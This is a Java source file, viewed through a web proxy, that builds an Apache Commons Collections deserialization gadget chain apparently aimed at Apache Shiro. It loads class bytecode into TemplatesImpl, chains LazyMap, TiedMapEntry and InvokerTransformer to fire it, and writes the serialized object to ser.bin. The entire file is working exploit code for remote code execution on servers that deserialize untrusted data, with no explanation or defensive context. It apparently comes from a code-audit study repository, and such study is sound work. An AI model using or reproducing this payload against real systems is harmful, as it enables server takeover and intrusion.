[ Web Proxy ]
URL:
Viewing: https://raw.githubusercontent.com/apsry/Java_Code_Audit/master/Shiroexp/src/main/java/ShiroCC.java [Back]  [Original]

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class ShiroCC {
    public static void main(String[] args) throws Exception {
        //cc3
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");
        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\17140\\Desktop\\\\java\\Cc1_test\\target\\classes\\Test.class"));
        byte [][] codes= {code};
        bytecodeField.set(templates,codes);
        //cc2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
        //cc6
        HashMap map = new HashMap();
        Map lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry= new TiedMapEntry(lazyMap,templates);

        HashMap map2 = new HashMap();
        map2.put(tiedMapEntry,"bbb");
        lazyMap.remove(templates);

        Class c = LazyMap.class;
        Field factoryField =c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,invokerTransformer);
        serialize(map2);

        //unserialize("ser.bin");

    }
    public  static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        /*
        
         */
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        /*
        
         */
        return obj;
    }
}

Web Proxy Viewer  |  New URL  |  Original Page